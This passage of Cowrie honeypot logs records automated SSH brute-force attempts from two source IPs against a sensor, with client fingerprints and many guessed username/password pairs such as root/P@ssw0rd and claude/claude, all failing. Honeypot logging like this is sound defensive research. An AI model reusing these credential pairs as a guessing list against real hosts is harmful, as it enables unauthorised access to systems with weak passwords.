0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:03.122047Z","src_ip":"45.156.87.147","session":"6fee24907b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:03.388220Z","src_ip":"45.156.87.147","session":"6fee24907b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:04.516966Z","src_ip":"45.156.87.147","session":"6fee24907b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51908,"dst_ip":"10.17.0.5","dst_port":22,"session":"754bc3368d5d","protocol":"ssh","message":"New connection: 91.92.42.227:51908 (10.17.0.5:22) [session: 754bc3368d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:05.392485Z"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:05.589290Z","src_ip":"91.92.42.227","session":"79a6e29aab51","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:06.300663Z","src_ip":"91.92.42.227","session":"754bc3368d5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:06.307955Z","src_ip":"91.92.42.227","session":"754bc3368d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41250,"dst_ip":"10.17.0.5","dst_port":22,"session":"978458dd4395","protocol":"ssh","message":"New connection: 45.156.87.147:41250 (10.17.0.5:22) [session: 978458dd4395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:09.110068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:09.115187Z","src_ip":"45.156.87.147","session":"978458dd4395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:09.207263Z","src_ip":"45.156.87.147","session":"978458dd4395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:09.473376Z","src_ip":"45.156.87.147","session":"978458dd4395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:10.099690Z","src_ip":"91.92.42.227","session":"754bc3368d5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:10.559146Z","src_ip":"45.156.87.147","session":"978458dd4395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.203718423843384,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:11.809304Z","src_ip":"172.81.62.90","session":"3486a522cd90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:12.080303Z","src_ip":"91.92.42.227","session":"754bc3368d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51960,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0a15c26e9d8","protocol":"ssh","message":"New connection: 91.92.42.227:51960 (10.17.0.5:22) [session: c0a15c26e9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:13.920007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:14.185957Z","src_ip":"91.92.42.227","session":"c0a15c26e9d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:14.189113Z","src_ip":"91.92.42.227","session":"c0a15c26e9d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50878,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d34db73ff4","protocol":"ssh","message":"New connection: 45.156.87.147:50878 (10.17.0.5:22) [session: 37d34db73ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:15.543780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:15.549908Z","src_ip":"45.156.87.147","session":"37d34db73ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:15.629046Z","src_ip":"45.156.87.147","session":"37d34db73ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"Passw0rd","message":"login attempt [support/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:15.950807Z","src_ip":"45.156.87.147","session":"37d34db73ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:16.135531Z","src_ip":"91.92.42.227","session":"c0a15c26e9d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:17.035504Z","src_ip":"45.156.87.147","session":"37d34db73ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:18.156636Z","src_ip":"91.92.42.227","session":"c0a15c26e9d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44764,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e2b3f65699","protocol":"ssh","message":"New connection: 91.92.42.227:44764 (10.17.0.5:22) [session: b2e2b3f65699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:20.387079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:20.943403Z","src_ip":"91.92.42.227","session":"b2e2b3f65699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:20.946785Z","src_ip":"91.92.42.227","session":"b2e2b3f65699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53016,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b28d9e3080e","protocol":"ssh","message":"New connection: 45.156.87.147:53016 (10.17.0.5:22) [session: 0b28d9e3080e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:21.931188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:21.939542Z","src_ip":"45.156.87.147","session":"0b28d9e3080e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:22.023080Z","src_ip":"45.156.87.147","session":"0b28d9e3080e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:22.274072Z","src_ip":"45.156.87.147","session":"0b28d9e3080e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:23.358815Z","src_ip":"45.156.87.147","session":"0b28d9e3080e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:23.883466Z","src_ip":"91.92.42.227","session":"b2e2b3f65699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:25.561352Z","src_ip":"91.92.42.227","session":"b2e2b3f65699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51090,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9037bf5a493","protocol":"ssh","message":"New connection: 91.92.42.227:51090 (10.17.0.5:22) [session: c9037bf5a493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:27.309610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:27.803840Z","src_ip":"91.92.42.227","session":"c9037bf5a493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:27.807798Z","src_ip":"91.92.42.227","session":"c9037bf5a493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53020,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8dae6fc50ec","protocol":"ssh","message":"New connection: 45.156.87.147:53020 (10.17.0.5:22) [session: c8dae6fc50ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:27.917561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:27.924759Z","src_ip":"45.156.87.147","session":"c8dae6fc50ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:28.008547Z","src_ip":"45.156.87.147","session":"c8dae6fc50ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:28.381415Z","src_ip":"45.156.87.147","session":"c8dae6fc50ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:29.471503Z","src_ip":"45.156.87.147","session":"c8dae6fc50ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:31.002874Z","src_ip":"91.92.42.227","session":"c9037bf5a493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:32.715023Z","src_ip":"91.92.42.227","session":"c9037bf5a493","protocol":"ssh"}
